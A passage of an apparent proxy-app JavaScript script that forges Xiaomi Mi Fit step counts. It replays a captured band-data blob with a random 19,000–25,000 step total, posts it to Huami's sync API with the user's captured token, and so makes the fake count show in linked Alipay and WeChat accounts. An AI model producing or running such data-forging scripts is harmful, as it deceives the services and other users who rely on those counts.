"%5B%7B%22data_hr%22%3A%22%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FVv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0v%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9e%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0n%5C%2Fa%5C%2F%5C%2F%5C%2FS%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0b%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F1FK%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9PTFFpaf9L%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FR%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0j%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9K%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FOv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fzf%5C%2F%5C%2F%5C%2F86%5C%2Fzr%5C%2FOv88%5C%2Fzf%5C%2FPf%5C%2F%5C%2F%5C%2F0v%5C%2FS%5C%2F8%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FSf%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fz3%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0r%5C%2FOv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FS%5C%2F9L%5C%2Fzb%5C%2FSf9K%5C%2F0v%5C%2FRf9H%5C%2Fzj%5C%2FSf9K%5C%2F0%5C%2F%5C%2FN%5C%2F%5C%2F%5C%2F%5C%2F0D%5C%2FSf83%5C%2Fzr%5C%2FPf9M%5C%2F0v%5C%2FOv9e%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FS%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fzv%5C%2F%5C%2Fz7%5C%2FO%5C%2F83%5C%2Fzv%5C%2FN%5C%2F83%5C%2Fzr%5C%2FN%5C%2F86%5C%2Fz%5C%2F%5C%2FNv83%5C%2Fzn%5C%2FXv84%5C%2Fzr%5C%2FPP84%5C%2Fzj%5C%2FN%5C%2F9e%5C%2Fzr%5C%2FN%5C%2F89%5C%2F03%5C%2FP%5C%2F89%5C%2Fz3%5C%2FQ%5C%2F9N%5C%2F0v%5C%2FTv9C%5C%2F0H%5C%2FOf9D%5C%2Fzz%5C%2FOf88%5C%2Fz%5C%2F%5C%2FPP9A%5C%2Fzr%5C%2FN%5C%2F86%5C%2Fzz%5C%2FNv87%5C%2F0D%5C%2FOv84%5C%2F0v%5C%2FO%5C%2F84%5C%2Fzf%5C%2FMP83%5C%2FzH%5C%2FNv83%5C%2Fzf%5C%2FN%5C%2F84%5C%2Fzf%5C%2FOf82%5C%2Fzf%5C%2FOP83%5C%2Fzb%5C%2FMv81%5C%2FzX%5C%2FR%5C%2F9L%5C%2F0v%5C%2FO%5C%2F9I%5C%2F0T%5C%2FS%5C%2F9A%5C%2Fzn%5C%2FPf89%5C%2Fzn%5C%2FNf9K%5C%2F07%5C%2FN%5C%2F83%5C%2Fzn%5C%2FNv83%5C%2Fzv%5C%2FO%5C%2F9A%5C%2F0H%5C%2FOf8%5C%2F%5C%2Fzj%5C%2FPP83%5C%2Fzj%5C%2FS%5C%2F87%5C%2Fzj%5C%2FNv84%5C%2Fzf%5C%2FOf83%5C%2Fzf%5C%2FOf83%5C%2Fzb%5C%2FNv9L%5C%2Fzj%5C%2FNv82%5C%2Fzb%5C%2FN%5C%2F85%5C%2Fzf%5C%2FN%5C%2F9J%5C%2Fzf%5C%2FNv83%5C%2Fzj%5C%2FNv84%5C%2F0r%5C%2FSv83%5C%2Fzf%5C%2FMP%5C%2F%5C%2F%5C%2Fzb%5C%2FMv82%5C%2Fzb%5C%2FOf85%5C%2Fz7%5C%2FNv8%5C%2F%5C%2F0r%5C%2FS%5C%2F85%5C%2F0H%5C%2FQP9B%5C%2F0D%5C%2FNf89%5C%2Fzj%5C%2FOv83%5C%2Fzv%5C%2FNv8%5C%2F%5C%2F0f%5C%2FSv9O%5C%2F0ZeXv%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F1X%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9B%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2FTP%5C%2F%5C%2F%5C%2F1b%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F0%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F9N%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2F%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%5C%2Fv7%2B%22%2C%22date%22%3A%222020-08-14%22%2C%22data%22%3A%5B%7B%22start%22%3A0%2C%22stop%22%3A1439%2C%22value%22%3A%22UA8AUBQAUAwAUBoAUAEAYCcAUBkAUB4AUBgAUCAAUAEAUBkAUAwAYAsAYB8AYB0AYBgAYCoAYBgAYB4AUCcAUBsAUB8AUBwAUBIAYBkAYB8AUBoAUBMAUCEAUCIAYBYAUBwAUCAAUBgAUCAAUBcAYBsAYCUAATIPYD0KECQAYDMAYB0AYAsAYCAAYDwAYCIAYB0AYBcAYCQAYB0AYBAAYCMAYAoAYCIAYCEAYCYAYBsAYBUAYAYAYCIAYCMAUB0AUCAAUBYAUCoAUBEAUC8AUB0AUBYAUDMAUDoAUBkAUC0AUBQAUBwAUA0AUBsAUAoAUCEAUBYAUAwAUB4AUAwAUCcAUCYAUCwKYDUAAUUlEC8IYEMAYEgAYDoAYBAAUAMAUBkAWgAAWgAAWgAAWgAAWgAAUAgAWgAAUBAAUAQAUA4AUA8AUAkAUAIAUAYAUAcAUAIAWgAAUAQAUAkAUAEAUBkAUCUAWgAAUAYAUBEAWgAAUBYAWgAAUAYAWgAAWgAAWgAAWgAAUBcAUAcAWgAAUBUAUAoAUAIAWgAAUAQAUAYAUCgAWgAAUAgAWgAAWgAAUAwAWwAAXCMAUBQAWwAAUAIAWgAAWgAAWgAAWgAAWgAAWgAAWgAAWgAAWREAWQIAUAMAWSEAUDoAUDIAUB8AUCEAUC4AXB4AUA4AWgAAUBIAUA8AUBAAUCUAUCIAUAMAUAEAUAsAUAMAUCwAUBYAWgAAWgAAWgAAWgAAWgAAWgAAUAYAWgAAWgAAWgAAUAYAWwAAWgAAUAYAXAQAUAMAUBsAUBcAUCAAWwAAWgAAWgAAWgAAWgAAUBgAUB4AWgAAUAcAUAwAWQIAWQkAUAEAUAIAWgAAUAoAWgAAUAYAUB0AWgAAWgAAUAkAWgAAWSwAUBIAWgAAUC4AWSYAWgAAUAYAUAoAUAkAUAIAUAcAWgAAUAEAUBEAUBgAUBcAWRYAUA0AWSgAUB4AUDQAUBoAXA4AUA8AUBwAUA8AUA4AUA4AWgAAUAIAUCMAWgAAUCwAUBgAUAYAUAAAUAAAUAAAUAAAUAAAUAAAUAAAUAAAUAAAWwAAUAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAeSEAeQ8AcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBcAcAAAcAAAcCYOcBUAUAAAUAAAUAAAUAAAUAUAUAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCgAeQAAcAAAcAAAcAAAcAAAcAAAcAYAcAAAcBgAeQAAcAAAcAAAegAAegAAcAAAcAcAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCkAeQAAcAcAcAAAcAAAcAwAcAAAcAAAcAIAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcCIAeQAAcAAAcAAAcAAAcAAAcAAAeRwAeQAAWgAAUAAAUAAAUAAAUAAAUAAAcAAAcAAAcBoAeScAeQAAegAAcBkAeQAAUAAAUAAAUAAAUAAAUAAAUAAAcAAAcAAAcAAAcAAAcAAAcAAAegAAegAAcAAAcAAAcBgAeQAAcAAAcAAAcAAAcAAAcAAAcAkAegAAegAAcAcAcAAAcAcAcAAAcAAAcAAAcAAAcA8AeQAAcAAAcAAAeRQAcAwAUAAAUAAAUAAAUAAAUAAAUAAAcAAAcBEAcA0AcAAAWQsAUAAAUAAAUAAAUAAAUAAAcAAAcAoAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAYAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBYAegAAcAAAcAAAegAAcAcAcAAAcAAAcAAAcAAAcAAAeRkAegAAegAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAEAcAAAcAAAcAAAcAUAcAQAcAAAcBIAeQAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBsAcAAAcAAAcBcAeQAAUAAAUAAAUAAAUAAAUAAAUBQAcBYAUAAAUAAAUAoAWRYAWTQAWQAAUAAAUAAAUAAAcAAAcAAAcAAAcAAAcAAAcAMAcAAAcAQAcAAAcAAAcAAAcDMAeSIAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcAAAcBQAeQwAcAAAcAAAcAAAcAMAcAAAeSoAcA8AcDMAcAYAeQoAcAwAcFQAcEMAeVIAaTYAbBcNYAsAYBIAYAIAYAIAYBUAYCwAYBMAYDYAYCkAYDcAUCoAUCcAUAUAUBAAWgAAYBoAYBcAYCgAUAMAUAYAUBYAUA4AUBgAUAgAUAgAUAsAUAsAUA4AUAMAUAYAUAQAUBIAASsSUDAAUDAAUBAAYAYAUBAAUAUAUCAAUBoAUCAAUBAAUAoAYAIAUAQAUAgAUCcAUAsAUCIAUCUAUAoAUA4AUB8AUBkAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAAfgAA%22%2C%22tz%22%3A32%2C%22did%22%3A%22DA932FFFFE8816E7%22%2C%22src%22%3A24%7D%5D%2C%22summary%22%3A%22%7B%5C%22v%5C%22%3A6%2C%5C%22slp%5C%22%3A%7B%5C%22st%5C%22%3A1597349880%2C%5C%22ed%5C%22%3A1597369860%2C%5C%22dp%5C%22%3A39%2C%5C%22lt%5C%22%3A294%2C%5C%22wk%5C%22%3A0%2C%5C%22usrSt%5C%22%3A-1440%2C%5C%22usrEd%5C%22%3A-1440%2C%5C%22wc%5C%22%3A0%2C%5C%22is%5C%22%3A169%2C%5C%22lb%5C%22%3A10%2C%5C%22to%5C%22%3A23%2C%5C%22dt%5C%22%3A0%2C%5C%22rhr%5C%22%3A58%2C%5C%22ss%5C%22%3A69%2C%5C%22stage%5C%22%3A%5B%7B%5C%22start%5C%22%3A1698%2C%5C%22stop%5C%22%3A1711%2C%5C%22mode%5C%22%3A4%7D%2C%7B%5C%22start%5C%22%3A1712%2C%5C%22stop%5C%22%3A1728%2C%5C%22mode%5C%22%3A5%7D%2C%7B%5C%22start%5C%22%3A1729%2C%5C%22stop%5C%22%3A1818%2C%5C%22mode%5C%22%3A4%7D%2C%7B%5C%22start%5C%22%3A1819%2C%5C%22stop%5C%22%3A1832%2C%5C%22mode%5C%22%3A5%7D%2C%7B%5C%22start%5C%22%3A1833%2C%5C%22stop%5C%22%3A1920%2C%5C%22mode%5C%22%3A4%7D%2C%7B%5C%22start%5C%22%3A1921%2C%5C%22stop%5C%22%3A1928%2C%5C%22mode%5C%22%3A5%7D%2C%7B%5C%22start%5C%22%3A1929%2C%5C%22stop%5C%22%3A2030%2C%5C%22mode%5C%22%3A4%7D%5D%7D%2C%5C%22stp%5C%22%3A%7B%5C%22ttl%5C%22%3A125%2C%5C%22dis%5C%22%3A82%2C%5C%22cal%5C%22%3A5%2C%5C%22wk%5C%22%3A7%2C%5C%22rn%5C%22%3A0%2C%5C%22runDist%5C%22%3A23%2C%5C%22runCal%5C%22%3A3%7D%2C%5C%22goal%5C%22%3A8000%2C%5C%22tz%5C%22%3A%5C%2228800%5C%22%2C%5C%22sn%5C%22%3A%5C%22e716882f93da%5C%22%7D%22%2C%22source%22%3A24%2C%22type%22%3A0%7D%5D"; +const headers = { + 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' +} +let login_token = ''; +//需要修改的运动步数波动范围,脚本默认修改步数范围为1w9到2w5 +const step = randomFriendPin($.getdata('xmMinStep')*1 || 19000, $.getdata('xmMaxStep')*1 || 25000); +function getToken() { + if ($response.body) { + const body = JSON.parse($response.body); + const loginToken = body.token_info.login_token; + $.log(`${$.name}token\n${loginToken}\n`) + if ($.getdata('xmSportsToken')) { + $.msg($.name, '更新Token: 成功🎉', ``); + } else { + $.msg($.name, '获取Token: 成功🎉', ''); + } + $.setdata(loginToken, 'xmSportsToken'); + } + $.done({}) +} + +async function start() { + login_token = $.isNode() ? (process.env.XM_SPORT_TOKEN ? process.env.XM_SPORT_TOKEN : login_token) : ($.getdata('xmSportsToken') ? $.getdata('xmSportsToken') : login_token); + // console.log(`login_token:::${login_token}`) + if (login_token) { + await get_app_token(login_token); + // console.log(`$.tokenInfo${JSON.stringify($.tokenInfo)}`) + if ($.tokenInfo && $.tokenInfo.result === 'ok') { + const {app_token, user_id} = $.tokenInfo.token_info; + await get_time(); + await change_step(app_token, user_id); + if ($.changeStepRes && $.changeStepRes.code === 1) { + console.log(`步数修改成功:${step}步`); + $.msg($.name, `${step}步🏃修改成功`, `时间:${timeFormat(localtime())}‍`, { "open-url": "alipays://platformapi/startapp?appId=20000869" }) + } else { + console.log(`修改运动步数失败`) + } + } else { + $.msg($.name, '失败', `Token已失效,请重新获取`) + } + } else { + $.log('暂无Token') + $.log(`\n\n获取TOKEN方法:\nAPP Store下载小米运动APP\n登入小米运动(登录方式必须是手机号码+密码(没有就用手机号码注册),下面的第三方账号(小米账号,Apple,微信)授权登录不行)\n登录成功后在 我的->第三方接入->绑定支付宝,微信\n小米运动只要不退出登录,就会自动获取新的token,即永久有效`) + //$.msg($.name, `失败`, '暂无Token') + } + $.done() +} + +function change_step(app_token, user_id) { + const date = dataJSON.match(/.*?date%22%3A%22(.*?)%22%2C%22data.*?/)[1]; + const ttf = dataJSON.match(/.*?ttl%5C%22%3A(.*?)%2C%5C%22dis.*?/)[1]; + dataJSON = dataJSON.replace(date, timeFormat(localtime())); + dataJSON = dataJSON.replace(ttf, step.toString()); + console.log(timeFormat(localtime())) + return new Promise(resolve => { + const options = { + "url": `https://api-mifit-cn2.huami.com/v1/data/band_data.json?&t=${$.t}`, + "body": `userid=${user_id.toString()}&last_sync_data_time=1597306380&device_type=0&last_deviceid=DA932FFFFE8816E7&data_json=${dataJSON}`, + "headers": { + "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8", + "apptoken": app_token, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`修改步数结果:${data}`); + $.changeStepRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function get_app_token(login_token, headers) { + return new Promise(resolve => { + $.get({url: `https://account-cn.huami.com/v1/client/app_tokens?app_name=com.xiaomi.hm.health&dn=api-user.huami.com%2Capi-mifit.huami.com%2Capp-analytics.huami.com&login_token=${login_token}&os_version=4.1.0`, headers}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(data) + if (data) { + 